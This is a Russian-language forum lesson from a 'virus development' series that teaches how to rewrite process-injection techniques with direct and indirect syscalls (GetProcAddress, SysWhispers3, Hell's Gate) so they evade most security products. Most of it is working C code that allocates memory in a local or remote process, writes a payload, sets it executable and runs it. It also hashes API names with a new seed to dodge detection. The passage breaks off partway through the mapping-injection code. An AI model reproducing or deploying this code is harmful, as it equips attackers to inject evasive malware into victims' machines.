Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
1696164820436.png


В прошлой статье:Уроки - Разработка вирусов-28. Предельная техника. Разборка с сисколами мы разобрали теорию.

Давайте теперь переделаем техники:




С использованием косвенного вызова сискола, это поможет обойти большинство средств защиты.)

Также это может послужить примером, как делать такие программы и вы можете уже сами реализовывать такие штуки в своих программах.)))

Итак начнем:

1)Переписываем технику Уроки - Разработка вирусов-17.Изучаем технику Thread Hijacking

Введение


Классическая техника инъекции процессов, рассмотренная ранее, будет реализована с использованием прямых системных вызовов, заменяя WinAPI на их эквивалент в системных вызовах.

VirtualAlloc/Ex заменяется на NtAllocateVirtualMemory

VirtualProtect/Ex заменяется на NtProtectVirtualMemory

WriteProcessMemory заменяется на NtWriteVirtualMemory

CreateThread/RemoteThread заменяется на NtCreateThreadEx

Требуемые системные вызовы

В этом разделе будут рассмотрены требуемые системные вызовы и их параметры.

NtAllocateVirtualMemory

Это результат системного вызова из WinAPI-функций VirtualAlloc и VirtualAllocEx.
NtAllocateVirtualMemory показан ниже.

C:
NTSTATUS NtAllocateVirtualMemory(
  IN HANDLE           ProcessHandle,    // Дескриптор процесса, в котором необходимо выделить память
  IN OUT PVOID        *BaseAddress,     // Возвращаемый базовый адрес выделенной памяти
  IN ULONG_PTR        ZeroBits,         // Всегда установите в '0'
  IN OUT PSIZE_T      RegionSize,       // Размер памяти для выделения
  IN ULONG            AllocationType,   // MEM_COMMIT | MEM_RESERVE
  IN ULONG            Protect           // Защита страницы
);

NtAllocateVirtualMemory аналогичен WinAPI функции VirtualAllocEx. Однако он отличается тем, что параметры RegionSize и BaseAddress передаются по ссылке с использованием оператора адреса (&).
ZeroBits - это новый введенный параметр, который определяется как количество старших битов адреса, которые должны быть равны нулю в базовом адресе обзора секции. Этот параметр всегда устанавливается на ноль.

Параметр RegionSize помечен как входной и выходной параметр. Это связано с тем, что значение RegionSize может изменяться в зависимости от того, что было фактически выделено. Microsoft утверждает, что начальное значение RegionSize указывает размер в байтах области, который округляется до следующей границы размера страницы хоста. Это означает, что NtAllocateVirtualMemory округляет до ближайшего кратного размера страницы, который составляет 4096 байт. Например, если RegionSize установлен на 5000 байт, он округлит его до 8192, и RegionSize вернет значение, которое было выделено, то есть 8192 в этом примере.

Как уже упоминалось в предыдущих статьях, все системные вызовы возвращают NTSTATUS. Если выполнение успешно, он устанавливается в STATUS_SUCCESS (0). В противном случае, если системный вызов не удается, возвращается ненулевое значение.

NtProtectVirtualMemory

Это результат системного вызова из WinAPI-функций VirtualProtect и VirtualProtectEx. NtProtectVirtualMemory показан ниже.

C:
NTSTATUS NtProtectVirtualMemory(
  IN HANDLE               ProcessHandle,              // Дескриптор процесса, защита памяти которого должна быть изменена
  IN OUT PVOID            *BaseAddress,               // Указатель на базовый адрес для защиты
  IN OUT PULONG           NumberOfBytesToProtect,     // Указатель на размер области для защиты
  IN ULONG                NewAccessProtection,        // Новая устанавливаемая защита памяти
  OUT PULONG              OldAccessProtection         // Указатель на переменную, которая получает предыдущую защиту доступа
);

Оба параметра BaseAddress и NumberOfBytesToProtect передаются по ссылке с использованием оператора "адрес".

Параметр NumberOfBytesToProtect ведет себя аналогично параметру RegionSize в NtAllocateVirtualMemory, округляя количество байтов до ближайшего кратного размера страницы.

NtWriteVirtualMemory

Это результат системного вызова из WinAPI-функции WriteProcessMemory. NtWriteVirtualMemory показан ниже.

C:
NTSTATUS NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,          // Дескриптор процесса, память которого должна быть записана
  IN PVOID                BaseAddress,            // Базовый адрес в указанном процессе, в который записываются данные
  IN PVOID                Buffer,                 // Данные для записи
  IN ULONG                NumberOfBytesToWrite,   // Количество байтов для записи
  OUT PULONG              NumberOfBytesWritten    // Указатель на переменную, которая получает количество фактически записанных байтов
);

Параметры NtWriteVirtualMemory такие же, как и у его версии WinAPI, WriteProcessMemory.

NtCreateThreadEx

Это результат системного вызова из WinAPI-функций CreateThread, CreateRemoteThread и CreateRemoteThreadEx. NtCreateThreadEx показан ниже.

C:
NTSTATUS NtCreateThreadEx(
    OUT PHANDLE                 ThreadHandle,         // Указатель на переменную HANDLE, которая получает дескриптор созданного потока
    IN     ACCESS_MASK             DesiredAccess,        // Права доступа к потоку (устанавливаются в THREAD_ALL_ACCESS - 0x1FFFFF)
    IN     POBJECT_ATTRIBUTES      ObjectAttributes,     // Указатель на структуру OBJECT_ATTRIBUTES (устанавливается в NULL)
    IN     HANDLE                  ProcessHandle,        // Дескриптор процесса, в котором должен быть создан поток
    IN     PVOID                   StartRoutine,         // Базовый адрес определяемой приложением функции, которая будет выполняться
    IN     PVOID                   Argument,             // Указатель на переменную, которая передается функции потока (устанавливается в NULL)
    IN     ULONG                   CreateFlags,          // Флаги, которые управляют созданием потока (устанавливаются в NULL)
    IN     SIZE_T                  ZeroBits,             // Устанавливаются в NULL
    IN     SIZE_T                  StackSize,            // Устанавливаются в NULL
    IN     SIZE_T                  MaximumStackSize,     // Устанавливаются в NULL
    IN     PPS_ATTRIBUTE_LIST      AttributeList         // Указатель на структуру PS_ATTRIBUTE_LIST (устанавливаются в NULL)
);

NtCreateThreadEx похож на WinAPI функцию CreateRemoteThreadEx. NtCreateThreadEx - это очень гибкий системный вызов и может позволить сложное управление созданными потоками. Однако для наших целей большинство его параметров будут установлены на NULL.

Реализация с использованием GetProcAddress и GetModuleHandle

Вызов системных вызовов будет выполнен с использованием нескольких методов, начиная с обычно используемыми WinAPI-функциями GetProcAddress и GetModuleHandle. Этот метод прост и был использован многократно для динамического вызова системных вызовов. Однако, как уже обсуждалось ранее, этот метод не обходит пользовательские хуки, установленные на системные вызовы.

В предоставленном создается структура Syscall и инициализируется с помощью InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.

C:
// Структура, которая хранит используемые системные вызовы
typedef struct _Syscall {

    fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
    fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
    fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
    fnNtCreateThreadEx        pNtCreateThreadEx;

} Syscall, *PSyscall;


// Функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {

    HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
    if (!hNtdll) {
        printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    St->pNtCreateThreadEx         = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

        // проверка, пропустил ли GetProcAddress системный вызов
    if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
        return FALSE;
    else
        return TRUE;
}

Далее функция ClassicInjectionViaSyscalls будет ответственна за выполнение полезной нагрузки, pPayload, в целевом процессе, hProcess. Функция возвращает FALSE, если не удалось выполнить полезную нагрузку, и TRUE, если удалось. Кроме того, функция может использоваться для инъекции как в локальные, так и в удаленные процессы, в зависимости от значения hProcess.

C:
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


    Syscall   St                     = { 0 };
    NTSTATUS  STATUS                 = 0x00;
    PVOID     pAddress               = NULL;
    ULONG     uOldProtection         = NULL;

    SIZE_T    sSize                  = sPayloadSize,
              sNumberOfBytesWritten    = NULL;
    HANDLE    hThread                = NULL;

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)){
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

//--------------------------------------------------------------------------

    // Выделение памяти
    if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Изменение разрешений памяти на RWX
    if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Выполнение полезной нагрузки через поток
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    return TRUE;
}

Размер полезной нагрузки и округление в большую сторону

Помните, что NtAllocateVirtualMemory округляет значение RegionSize до кратного 4096. Из-за округления размера необходимо быть осторожным при использовании одной и той же переменной размера полезной нагрузки при выделении памяти и записи в память, так как это может привести к записи большего количества байтов, чем предполагалось. Именно поэтому в вышеприведенном коде используются разные переменные размера для NtAllocateVirtualMemory и NtWriteVirtualMemory.

Проблема демонстрируется в приведенном ниже фрагменте кода.

C:
  // sPayloadSize - это размер полезной нагрузки (272 байта)
  // Выделение памяти
  if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    return FALSE;
  }

  // значение sPayloadSize теперь равно 4096
  // Запись полезной нагрузки с sPayloadSize (NumberOfBytesToWrite) равным 4096 вместо исходного размера
  if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
    return FALSE;
  }

Реализация с использованием SysWhispers3

Реализация здесь использует для обхода пользовательских хуков через косвенные системные вызовы. Следующая команда используется для генерации необходимых файлов для этой реализации.

Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v

Создаются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.

Следующий шаг - импортировать эти файлы в Visual Studio, как указано в Readme SysWhisper.

Шаги демонстрируются ниже.

Шаг 1 Скопируйте сгенерированные файлы в папку проекта, затем добавьте их в проект Visual Studio как существующие элементы.

1696165875184.png


Шаг 2 Включите MASM в проекте, чтобы разрешить компиляцию сгенерированного кода на ассемблере.

1696165895606.png


1696165909370.png


Шаг 3 Измените свойства, чтобы установить файл ASM на компиляцию с использованием Microsoft Macro Assembler.

1696165934549.png


1696165951864.png


Шаг 4 Теперь проект Visual Studio может быть скомпилирован. Функция ClassicInjectionViaSyscalls показана ниже.

C:
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


    NTSTATUS    STATUS                  = 0x00;
    PVOID        pAddress                = NULL;
    ULONG        uOldProtection          = NULL;

    SIZE_T        sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;
    HANDLE        hThread                    = NULL;



    // Allocating memory
    if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------
    // Writing the payload
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------
    // Changing the memory's permissions to RWX
    if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Executing the payload via thread
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    return TRUE;
}

Реализация с использованием

Последняя реализация для этого модуля использует Hell's Gate. Сначала убедитесь, что те же шаги, которые были выполнены для настройки проекта Visual Studio с SysWhispers3, выполняются и здесь. В частности, включение MASM и изменение свойств для установки файла ASM на компиляцию с использованием Microsoft Macro Assembler.

Изменение функции полезной нагрузки

Необходимо внести несколько изменений в код Hell's Gate. Сначала функция должна быть заменена функцией ClassicInjectionViaSyscalls.

C:
BOOL ClassicInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    NTSTATUS    STATUS                  = 0x00;
    PVOID        pAddress                = NULL;
    ULONG        uOldProtection          = NULL;

    SIZE_T        sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;
    HANDLE        hThread                    = NULL;


    // Allocating memory
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------

    // Writing the payload
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Changing the memory's permissions to RWX
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Executing the payload via thread
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));


    return TRUE;
}

Обновление структуры VX_TABLE

Далее необходимо обновить структуру VX_TABLE с именами системных вызовов, используемых в этом модуле, как показано ниже.

C:
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;    // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtWriteVirtualMemory;       // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtProtectVirtualMemory;     // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtCreateThreadEx;           // Элемент таблицы для системного вызова
} VX_TABLE, * PVX_TABLE;

Обновление значения Seed Value

Будет использовано новое значение Seed Value для замены старого, чтобы изменить хэш-значения системных вызовов. Функция хэширования djb2 обновляется новым значением Seed Value ниже.

C:
DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

Теперь необходимо сгенерировать хэш-значений djb2 для функций (Напишите консольную программу например):

Код:
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

1696166594041.png


Как только значения сгенерированы, добавьте их в начало проекта Hell's Gate.

Код:
#define NtAllocateVirtualMemory_djb2  0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2     0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2   0xA0DCC2851566E832
#define NtCreateThreadEx_djb2         0x2786FB7E75145F1A

Обновление главной функции

Главная функция ( ) должна быть обновлена (На код ниже), чтобы вызывать ClassicInjectionViaSyscalls вместо . Функция будет использовать выше сгенерированные хэши, как показано ниже.

C:
INT main() {
    // Getting the PEB structure
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;

    // Getting the NTDLL module
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Getting the EAT of Ntdll
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return 0x01;

//--------------------------------------------------------------------------
    // Initializing the 'Table' structure
    VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
        return 0x1;

    Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
        return 0x1;

    Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
        return 0x1;

    Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
        return 0x1;

//--------------------------------------------------------------------------
    // injection code - calling the 'ClassicInjectionViaSyscalls' function


// If local injection
#ifdef LOCAL_INJECTIONif (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
        return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
    printf("[i] Targeting process of id : %d \n", PROCESS_ID);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
    if (hProcess == NULL) {
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
        return -1;
    }

    if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
        return 0x1;

#endif // REMOTE_INJECTIONreturn 0x00;
}

Локальная и удаленная инъекция

Поскольку реализованная функция ClassicInjectionViaSyscalls может работать как на уровне локального процесса, так и на уровне удаленного процесса, был построен макрокод препроцессора для целевого локального процесса, если определено LOCAL_INJECTION.

Код препроцессора показан ниже.

C:
#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// Устанавливаем идентификатор целевого процесса PID
#define PROCESS_ID    18784
#endif // !LOCAL_INJECTION

#define LOCAL_INJECTION можно закомментировать, чтобы нацелиться на удаленный процесс. В этом случае будет целевым процесс с PID, равным PROCESS_ID.
Если #define LOCAL_INJECTION не закомментирован, что является настройкой по умолчанию в предоставленном коде, то используется псевдо-дескриптор локального процесса, равный (HANDLE)-1.

Демо

Использование реализации SysWhispers локально.

1696167074767.png


Использование реализации SysWhispers удаленно

1696167114491.png


Использование реализации Hell's Gate локально.

1696167156452.png


Использование реализации Hell's Gate удаленно.

1696167194566.png



Давайте теперь перепишем эту технику:
Уроки - Разработка вирусов-21.Инъекция отображаемой памяти

Введение

В этой части техника инъекции маппинга, обсуждаемая ранее, будет реализована с помощью прямых системных вызовов, заменяя WinAPI на их эквивалент системных вызовов:

CreateFileMapping заменяется на NtCreateSection

MapViewOfFile заменяется на NtMapViewOfSection

CloseHandle заменяется на NtClose

UnmapViewOfFile заменяется на NtUnmapViewOfSection

Параметры Syscall

В этом разделе будут рассмотрены системные вызовы, которые будут использоваться, и их параметры будут объяснены.

NtCreateSection

Это результирующий системный вызов из CreateFileMapping WinAPI. NtCreateSection показан ниже.

C:
NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // Указатель на переменную HANDLE, которая получает дескриптор объекта секции
IN ACCESS_MASK DesiredAccess, // Тип прав доступа к дескриптору секции
IN POBJECT_ATTRIBUTES ObjectAttributes, // Указатель на структуру OBJECT_ATTRIBUTES (установить в NULL)
IN PLARGE_INTEGER MaximumSize, // Максимальный размер секции
IN ULONG SectionPageProtection, // Защита, которая будет установлена на каждой странице в секции
IN ULONG AllocationAttributes, // Атрибуты выделения секции (флаги SEC_XXX)
IN HANDLE FileHandle // Опционально указывает дескриптор открытого файла (установить в NULL)
);

Хотя между NtCreateSection и CreateFileMapping есть много схожего, некоторые параметры новые. Во-первых, параметр DesiredAccess описывает тип прав доступа к дескриптору секции. Список параметров показан на изображении ниже.

1696167550016.png


В этом модуле достаточно использовать либо SECTION_ALL_ACCESS, либо SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE.

Далее, параметр MaximumSize - это указатель на структуру LARGE_INTEGER. Единственный элемент, который нужно заполнить, это элемент LowPart, который будет равен размеру полезной нагрузки. Структура LARGE_INTEGER показана ниже.

C:
typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;

Наконец, параметр AllocationAttributes определяет битовую маску флагов SEC_XXX, которая определяет атрибуты выделения секции. Список флагов можно найти здесь под параметром flProtect. В этом модуле этот параметр будет установлен в значение SEC_COMMIT.

NtMapViewOfSection

Это результирующий системный вызов из MapViewOfFile WinAPI. NtMapViewOfSection показан ниже.

C:
NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // HANDLE объекта секции, созданного 'NtCreateSection'
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отобразить вид
IN OUT PVOID *BaseAddress, // Указатель на переменную PVOID, которая получает базовый адрес отображения
IN ULONG ZeroBits, // установить в NULL
IN SIZE_T CommitSize, // установить в NULL
IN OUT PLARGE_INTEGER SectionOffset, // установить в NULL
IN OUT PSIZE_T ViewSize, // Указатель на переменную SIZE_T, которая содержит размер выделяемой памяти
IN SECTION_INHERIT InheritDisposition, // Как вид должен быть разделен с дочерними процессами
IN ULONG AllocationType, // тип выделения, который будет выполнен (установить в NULL)
IN ULONG Protect // Защита, которая будет установлена на каждой странице в секции
);

В этом модуле параметр SectionHandle будет получен из вызова NtCreateSection. Параметр ProcessHandle будет равен текущему дескриптору процесса, который может быть получен с помощью функции GetCurrentProcess.

Параметр BaseAddress получает базовый адрес отображения. Значение этого параметра будет указано позже.

Параметр ViewSize содержит размер выделяемой памяти, который будет равен размеру полезной нагрузки.

Параметр InheritDisposition определяет, как вид должен быть разделен с дочерними процессами. В этом модуле этот параметр будет установлен в значение 'ViewUnmap', что означает, что дочерние процессы не будут иметь доступа к этому виду. Наконец, параметр Protect устанавливает уровень защиты для каждой страницы в секции. В этом модуле этот параметр будет установлен в значение 'PAGE_READWRITE', что означает, что страницы можно будет читать и записывать.

NtUnmapViewOfSection

Это результирующий системный вызов из UnmapViewOfFile WinAPI. NtUnmapViewOfSection показан ниже.

C:
NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отменить отображение
IN PVOID BaseAddress // Базовый адрес отображения, который был предоставлен ранее
);
Код:

В этом модуле параметр ProcessHandle будет равен текущему дескриптору процесса, который может быть получен с помощью функции GetCurrentProcess. Параметр BaseAddress будет базовым адресом отображения, который был предоставлен ранее.

NtClose Это результирующий системный вызов из CloseHandle WinAPI. NtClose показан ниже.

C:
NTSTATUS NtClose(
IN HANDLE Handle // Дескриптор, который нужно закрыть
);

В этом модуле параметр Handle будет либо дескриптором секции, полученным из вызова NtCreateSection, либо дескриптором процесса, который может быть получен с помощью функции GetCurrentProcess.

Реализация с использованием GetProcAddress и GetModuleHandle

Следующим шагом является реализация метода инъекции через отображение с использованием ранее показанных системных вызовов. Аналогично предыдущему модулю, метод будет показан тремя способами, начиная с использования GetProcAddress и GetModuleHandle.

Структура Syscall создается и инициализируется с помощью InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.

Код:
// структура, используемая для хранения системных вызовов
typedef struct _Syscall {

    fnNtCreateSection       pNtCreateSection;
    fnNtMapViewOfSection    pNtMapViewOfSection;
    fnUnmapViewOfSection    pNtUnmapViewOfSection;
    fnNtClose               pNtClose;
    fnNtCreateThreadEx      pNtCreateThreadEx;

}Syscall, * PSyscall;

// функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {

    HMODULE hNtdll    = GetModuleHandle(L"NTDLL.DLL");
    if (!hNtdll) {
        printf("[!] GetModuleHandle не удалось. Ошибка: %d \n", GetLastError());
        return FALSE;
    }

    St->pNtCreateSection         = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    St->pNtMapViewOfSection      = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    St->pNtUnmapViewOfSection    = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    St->pNtClose                 = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
    St->pNtCreateThreadEx        = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

     // проверка, пропустил ли GetProcAddress системный вызов
    if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
        return FALSE;
    else
        return TRUE;
}

Функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls отвечают за инъекцию полезной нагрузки (pPayload) в локальный и удаленный процесс (hProcess) соответственно.
Обе функции показаны ниже.

C:
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize        = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };
    Syscall                St                = { 0 };

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)) {
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Выделение локального отображения

